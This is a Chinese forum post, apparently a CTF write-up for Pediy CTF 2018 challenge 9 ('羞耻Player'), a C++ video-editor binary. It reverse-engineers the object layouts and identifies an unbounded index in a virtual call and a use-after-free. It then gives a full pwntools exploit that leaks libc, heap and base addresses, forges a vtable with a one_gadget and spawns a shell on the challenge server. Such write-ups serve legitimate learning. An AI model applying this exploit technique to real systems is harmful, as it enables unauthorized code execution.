首页
论坛
课程
招聘
[原创] 第九题 PWN-羞耻Player WriteUp
2018-7-2 18:32 1392

[原创] 第九题 PWN-羞耻Player WriteUp

2018-7-2 18:32
1392

Pediy CTF 2018 - 羞耻Player WriteUp

程序用C++编写,写了一个抽象类Clip,派生出AudioClip,VideoClip,SubtitleClip和MetadataClip四个类。
虚表中有四个函数,分别对应add, edit, remove, play四个操作,具体的函数由不同的派生类不同实现。
IDA标一下数据成员,大概是这样:

00000000 metadata        struc ; (sizeof=0x48, mappedto_11)
00000000 vtable          dq ?                    ; offset
00000008 date            db 32 dup(?)            ; string(C)
00000028 owner           db 32 dup(?)            ; string(C)
00000048 metadata        ends
00000048
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 video           struc ; (sizeof=0x50, mappedto_19)
00000000 vtable          dq ?
00000008 resolution      dq ?
00000010 fps             dd ?
00000014 frame_number    dd ?
00000018 data_ptr        dq ?
00000020 description     db 48 dup(?)            ; string(C)
00000050 video           ends
00000050
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 subtitle        struc ; (sizeof=0x18, mappedto_17)
00000000 vtable          dq ?
00000008 language        db 4 dup(?)             ; string(C)
0000000C length          dd ?
00000010 content_ptr     dq ?
00000018 subtitle        ends
00000018
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 audio           struc ; (sizeof=0x48, mappedto_18)
00000000 vtable          dq ?
00000008 bitrate         dd ?
0000000C time            dd ?
00000010 data_ptr        dq ?
00000018 description     db 48 dup(?)            ; string(C)
00000048 audio           ends

标完结构体和函数,看一下代码,发现以下几个可能的漏洞:

  std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Enter index : ");
  std::istream::operator>>((__int64)&std::cin, (__int64)&v1);
  if ( !clip_list[v1] )
    exit(1);
  (*(void (__fastcall **)(clip *, __int64 *))(clip_list[v1]->vtable->edit))(clip_list[v1], &v1);
  return __readfsqword(0x28u) ^ v2;

这里没有对输入的index进行边界检查,只要该处的值非零就按指针跳两级过去执行,故可以做对象和虚表伪造来实现控制流劫持。

   a1->frame_number = 1024;
  v2 = operator new[]((unsigned int)a1->frame_number);
  if ( !v2 )
    exit(1);
  a1->data_ptr = v2;
  if ( a1->data_ptr )
    operator delete[]((void *)a1->data_ptr);
  std::operator<<<std::char_traits<char>>((__int64)&std::cout, (__int64)"Video Data : ");
  a1->frame_number = read(0, (void *)a1->data_ptr, (unsigned int)a1->frame_number);

VideoClip的编辑函数,这里写了一个非常魔性的漏洞,先申请了一块内存,然后直接free掉,然后再往里面写入数据。可以使用一般的Use After Free利用方法,泄露地址或做Fastbin Attack或Unlink。

 

综合这两个漏洞,就有以下的攻击方法:

  • 泄露Libc地址
  • 泄露堆地址和程序基址,计算偏移和虚表地址
  • 在堆上伪造虚表,写入one gadget
  • 利用无边界检查的偏移量跳过去执行

程序有一个难点:

 fd = open("/dev/urandom", 0);
  if ( fd < 0 )
    exit(1);
  if ( read(fd, &buf, 4uLL) != 4 )
    exit(1);
  close(fd);
  srand(buf);
  for ( i = 0; i <= 255; ++i )
  {
    v0 = rand();
    v5[i] = (void *)operator new[](v0);
  }
  for ( i = 0; i <= 255; ++i )
  {
    if ( rand() % 3 == 0 )
    {
      if ( v5[i] )
        operator delete[](v5[i]);
    }
    v5[i] = 0LL;
  }

分配了256个大小随机的堆块,然后随机free掉一些堆块,让它们进入bins,造成之后的堆内存分布不整齐。
解决的方案是,事先分配很多个需要用到的大小,来清空对应大小的bins = =

 

利用use after free泄露地址,先准备好一个free掉的second=1024的VideoClip,然后创建3个256大小的VideoClip,free 第一个和第二个,再Play 1024大小的VideoClip,就能泄露出需要的三个地址。(libc和堆地址从双链表中泄露,程序基址从对象中的虚表地址泄露)

 

拿到地址之后,计算好下一堆块地址、偏移量和one gadget地址,new一个VideoClip,放上指向伪造虚表的二级指针。利用任意偏移执行触发,得到一个shell。

 

exp:

from pwn import *

#p = process('./video_Editor')
p = remote('139.199.99.130', 8989)

elf = ELF('./video_Editor')
libc = ELF('./libc.so.6')

def add_video(res, fps, frames, data, desc):
    p.recvuntil('>>>')
    p.sendline('1')

    p.recvuntil('Clip Adding')
    p.sendline('1')
    p.recvuntil('Video Resolution : ')
    p.send(p64(res))
    p.recvuntil('FPS : ')
    p.send(p32(fps))
    p.recvuntil('Number of Frames : ')
    p.send(p32(frames))
    p.recvuntil('Video Data : ')
    p.sendline(data)
    p.recvuntil('Add description : ')
    p.sendline(desc)

def edit_video(index, res, fps, frames, data, desc):
    p.recvuntil('>>>')
    p.sendline('2')
    p.recvuntil('Enter index : ')
    p.sendline(str(index))
    p.recvuntil('Video Resolution : ')
    p.send(p64(res))
    p.recvuntil('FPS : ')
    p.send(p32(fps))
    p.recvuntil('Number of Frames : ')
    p.send(p32(frames))
    p.recvuntil('Video Data : ')
    p.sendline(data)
    p.recvuntil('Edit description : ')
    p.sendline(desc)

def add_audio(bitrate, time, data, desc):
    p.recvuntil('>>>')
    p.sendline('1')
    p.recvuntil('Clip Adding')
    p.sendline('2')
    p.recvuntil('Audio Bitrate : ')
    p.send(p16(bitrate))
    p.recvuntil('Audio Length (seconds) : ')
    p.send(p32(time))
    p.recvuntil('Audio Data : ')
    p.sendline(data)
    p.recvuntil('Add description : ')
    p.sendline(desc)    

def edit_audio(index, bitrate, time, data, desc):
    p.recvuntil('>>>')
    p.sendline('2')
    p.recvuntil('Enter index : ')
    p.sendline(str(index))
    p.recvuntil('Audio Bitrate : ')
    p.send(p16(bitrate))
    p.recvuntil('Audio Length (seconds) : ')
    p.send(p32(time))
    p.recvuntil('Audio Data : ')
    p.sendline(data)
    p.recvuntil('Edit description : ')
    p.sendline(desc)

def add_subtitle(lang, length, content):
    p.recvuntil('>>>')
    p.sendline('1')
    p.recvuntil('Clip Adding')
    p.sendline('3')
    p.recvuntil('Subtitle Language : ')
    p.sendline(lang)
    p.recvuntil('Subtitle Length : ')
    p.send(p32(length))
    p.recvuntil('Add Subtitle : ')
    p.sendline(content)

def edit_subtitle(index, lang, content):
    p.recvuntil('>>>')
    p.sendline('2')
    p.recvuntil('Enter index : ')
    p.sendline(str(index))
    p.recvuntil('New Language : ')
    p.sendline(lang)
    p.recvuntil('Edit data : ')
    p.sendline(content)

def add_metadata(date, owner):
    p.recvuntil('>>>')
    p.sendline('1')
    p.recvuntil('Clip Adding')
    p.sendline('4')
    p.recvuntil('Date of Creation : ')
    p.sendline(date)
    p.recvuntil('Owner of video : ')
    p.sendline(owner)

def edit_metadata(index, date, owner):
    p.recvuntil('>>>')
    p.sendline('2')
    p.recvuntil('Enter index : ')
    p.sendline(str(index))
    p.recvuntil('Date of Creation : ')
    p.sendline(date)
    p.recvuntil('Owner of video : ')
    p.sendline(owner)


def remove(index):
    p.recvuntil('>>>')
    p.sendline('4')
    p.recvuntil('Enter index : ')
    p.sendline(str(index))
p.sendline('\x00' * 0xf0)
for i in range(100):
    print i
    add_video(10,1,256,'A','AAAAA')
    add_video(10,1,1024,'B','BBBBB')
add_video(0, 1, 1024, 'a'*1023, 'aaaa')
edit_video(200,0,1,1024,'b'*1023,'bbbb')
add_video(1,1,256,'b'*32,'bbbb')
add_video(2,1,256,'c'*32,'cccc')
add_video(3,1,256,'d'*32,'dddd')
remove(201)
remove(202)
p.recvuntil('>>>')
p.sendline('3')
p.recvuntil('index')
p.sendline('200')
p.recvuntil('Playing video...\n')
rec = ''
for i in range(1024):
    rec+= chr( ord( p.recv(1))^0xcc ) 
print rec
addr1 = rec[0:8]
base = u64(addr1)-(0x000055f8e7a7cc70-0x55f8e7879000)
addr2 = rec[0x60:0x68]
libc_base = u64(addr2)-(0x00007f266783db78-0x7f2667479000)
addr3=rec[0x68:0x70]
heap_addr = u64(addr3)
print hex(base)
print hex(libc_base)
print hex(heap_addr)
one_addr = libc_base + 0xf1147
fake_vtable = p64(one_addr) * 4
vtable_addr = heap_addr + (0x55706945beb0 - 0x55706945bc30) + 0x20
add_video(66, 1, 1024, p64(vtable_addr - 0x8) + p64(vtable_addr) + fake_vtable, fake_vtable)
print hex(vtable_addr)
offset = (vtable_addr - 0x10 - (base + 0x204280)) / 8
print offset

p.sendline('2')
p.sendline(str(offset))

p.interactive()

看雪社区年底排行榜,查查你的排名?

收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回